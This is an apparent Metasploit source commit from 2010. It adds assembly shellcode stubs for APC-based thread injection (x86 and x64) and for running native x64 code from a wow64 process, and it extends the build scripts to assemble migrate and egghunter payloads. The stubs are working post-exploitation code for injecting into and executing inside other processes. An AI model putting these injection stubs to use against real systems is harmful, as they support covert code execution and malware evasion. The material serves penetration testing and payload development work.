For now just adding in the new APC migrate stubs and the wow64->x64 exec stub. (fix up the build scripts and use a dedicated migrate directory for this stuff).

git-svn-id: file:///home/svn/framework3/trunk@8193 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Stephen Fewer 2010-01-22 14:03:53 +00:00
parent 6fd20d411f
commit 1e63f357cb
7 changed files with 185 additions and 0 deletions

View File

@ -80,6 +80,10 @@ def main( argv=None ):
if argv[1] == "clean":
clean()
elif argv[1] == "all":
for root, dirs, files in os.walk( "./src/migrate/" ):
for name in files:
if name[-4:] == ".asm":
build( name[:-4] )
for root, dirs, files in os.walk( "./src/single/" ):
for name in files:
if name[-4:] == ".asm":

View File

@ -0,0 +1,51 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Architecture: x64
; Version: 1.0 (Jan 2010)
; Size: 248 bytes
; Build: >build.py apc
;-----------------------------------------------------------------------------;
; A small stub to be used for thread injection where we gain execution via an injected APC. See the
; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details
;typedef struct _APCCONTEXT
;{
; union
; {
; LPVOID lpStartAddress;
; BYTE bPadding1[8];
; } s;
; union
; {
; LPVOID lpParameter;
; BYTE bPadding2[8];
; } p;
; BYTE bExecuted;
;} APCCONTEXT, * LPAPCCONTEXT;
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
cmp byte [rcx+16], 0 ; Has this context allready been injected? 'if( ctx->bExecuted == FALSE )'
jne cleanup ; If so just leave this APC
mov byte [rcx+16], 1 ; Otherwise mark the context as executed and proceed
sub rsp, 120 ; Alloc some space on stack
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
mov r8, [rcx] ; r8 = ctx->lpStartAddress
mov r9, [rcx+8] ; r9 = ctx->lpParameter
xor rcx, rcx ; Clear ECX, lpThreadAttributes
xor rdx, rdx ; Clear EDX, dwStackSize
push rcx ; lpThreadId
push rcx ; dwCreationFlags
mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
add rsp, (120 + 32 + (8*2)) ; fix up stack (120 bytes we alloced, 32 bytes for the single call to api_call, and 2*8 bytes for the two params we pushed).
cleanup:
ret ; Return and finish our APC routine.

View File

@ -68,6 +68,13 @@ def xmit( name, dump_ruby=True ):
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
if( name.find( "egghunter" ) >= 0 ):
null_count = data.count( "\x00" )
if( null_count > 0 ):
print "# Note: %d NULL bytes found." % ( null_count )
if dump_ruby:
xmit_dump_ruby( data )
#=============================================================================#
@ -82,6 +89,12 @@ def main( argv=None ):
if argv[1] == "clean":
clean()
elif argv[1] == "all":
for root, dirs, files in os.walk( "./src/egghunter/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/migrate/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/single/" ):
for name in files:
build( name[:-4] )

View File

@ -0,0 +1,55 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Architecture: x86 (but not wow64)
; Version: 1.0 (Jan 2010)
; Size: 183 bytes
; Build: >build.py apc
;-----------------------------------------------------------------------------;
; A small stub to be used for thread injection where we gain execution via an injected APC. See the
; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details
;typedef struct _APCCONTEXT
;{
; union
; {
; LPVOID lpStartAddress;
; BYTE bPadding1[8];
; } s;
; union
; {
; LPVOID lpParameter;
; BYTE bPadding2[8];
; } p;
; BYTE bExecuted;
;} APCCONTEXT, * LPAPCCONTEXT;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
mov eax, [esp+4] ; EAX is a pointer to our apc stub context
push ebp ; Prologue, save EBP...
mov ebp, esp ; And create a new stack frame
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop ebx ; Pop off the address of 'api_call' for calling later.
cmp byte [eax+16], 0 ; Has this context allready been injected
jne cleanup ; If so just leave this APC
mov byte [eax+16], 1 ; Otherwise mark the context as executed and proceed
xor ecx, ecx ; Clear ECX
push ecx ; lpThreadId
push ecx ; dwCreationFlags
push dword [eax+8] ; ctx->lpParameter
push dword [eax] ; ctx->lpStartAddress
push ecx ; dwStackSize
push ecx ; lpThreadAttributes
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
cleanup:
leave ; epilogue
retn 12 ; Return (cleaning up stack params) and finish our APC routine.

View File

@ -0,0 +1,62 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP
; Architecture: wow64
; Version: 1.0 (Jan 2010)
; Size: 75 bytes
; Build: >build.py executex64
;-----------------------------------------------------------------------------;
; A simple function to execute native x64 code from a wow64 (x86) process.
; Can be called from C using the following prototype:
; typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
; The native x64 function you specify must be in the following form (as well as being x64 code):
; typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
[BITS 32]
WOW64_CODE_SEGMENT EQU 0x23
X64_CODE_SEGMENT EQU 0x33
start:
push ebp ; prologue, save EBP...
mov ebp, esp ; and create a new stack frame
push esi ; save the registers we shouldn't clobber
push edi ;
mov esi, [ebp+8] ; ESI = pFunction
mov ecx, [ebp+12] ; ECX = dwParameter
call delta ;
delta:
pop eax ;
add eax, (native_x64-delta) ; get the address of native_x64
sub esp, 8 ; alloc some space on stack for far jump
mov edx, esp ; EDX will be pointer our far jump
mov dword [edx+4], X64_CODE_SEGMENT ; set the native x64 code segment
mov dword [edx], eax ; set the address we want to jump to (native_x64)
call go_all_native ; perform the transition into native x64 and return here when done.
add esp, (8+4+8) ; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64
pop edi ; restore the clobbered registers
pop esi ;
pop ebp ; restore EBP
retn (4*2) ; return to caller (cleaning up our two function params)
go_all_native:
mov edi, [esp] ; EDI is the wow64 return address
jmp dword far [edx] ; perform the far jump, which will return to the caller of go_all_native
native_x64:
[BITS 64] ; we are now executing native x64 code...
xor rax, rax ; zero RAX
push rdi ; save RDI (EDI being our wow64 return address)
call rsi ; call our native x64 function (the param for our native x64 function is allready in RCX)
pop rdi ; restore RDI (EDI being our wow64 return address)
push rax ; simply push it to alloc some space
mov dword [rsp+4], WOW64_CODE_SEGMENT ; set the wow64 code segment
mov dword [rsp], edi ; set the address we want to jump to (the return address from the go_all_native call)
jmp dword far [rsp] ; perform the far jump back to the wow64 caller...